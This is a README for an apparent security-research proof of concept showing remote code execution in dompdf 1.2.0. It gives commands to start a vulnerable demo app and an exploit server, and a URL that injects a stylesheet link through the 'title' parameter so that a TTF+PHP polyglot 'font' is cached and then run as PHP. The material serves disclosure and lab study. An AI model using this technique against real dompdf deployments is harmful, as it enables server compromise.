RCE exploit for dompdf

This repository contains a vulnerable demo application using dompdf 1.2.0 and an exploit that achieves remote code execution via a ttf+php polyglot file.

[\[image: Exploit Overview\]](#)

For more details, please visit <https://positive.security/blog/dompdf-rce>

Instructions

1. Run the demo application

```
$ cd application
$ php -S localhost:9000
```

1. Run the exploit server

```
$ cd exploit  
$ php -S localhost:9001
```

1. Trigger the exploit

```
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet  
href='http://localhost:9001/exploit.css'>
```

1. Access the cached php "font" file and execute `phpinfo()`

```
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f3900962  
2.php
```

Please note: In case you're using different domains or ports, please edit `exploit/exploit.css` accordingly and check `application/dompdf/lib/fonts` for the full font filename.
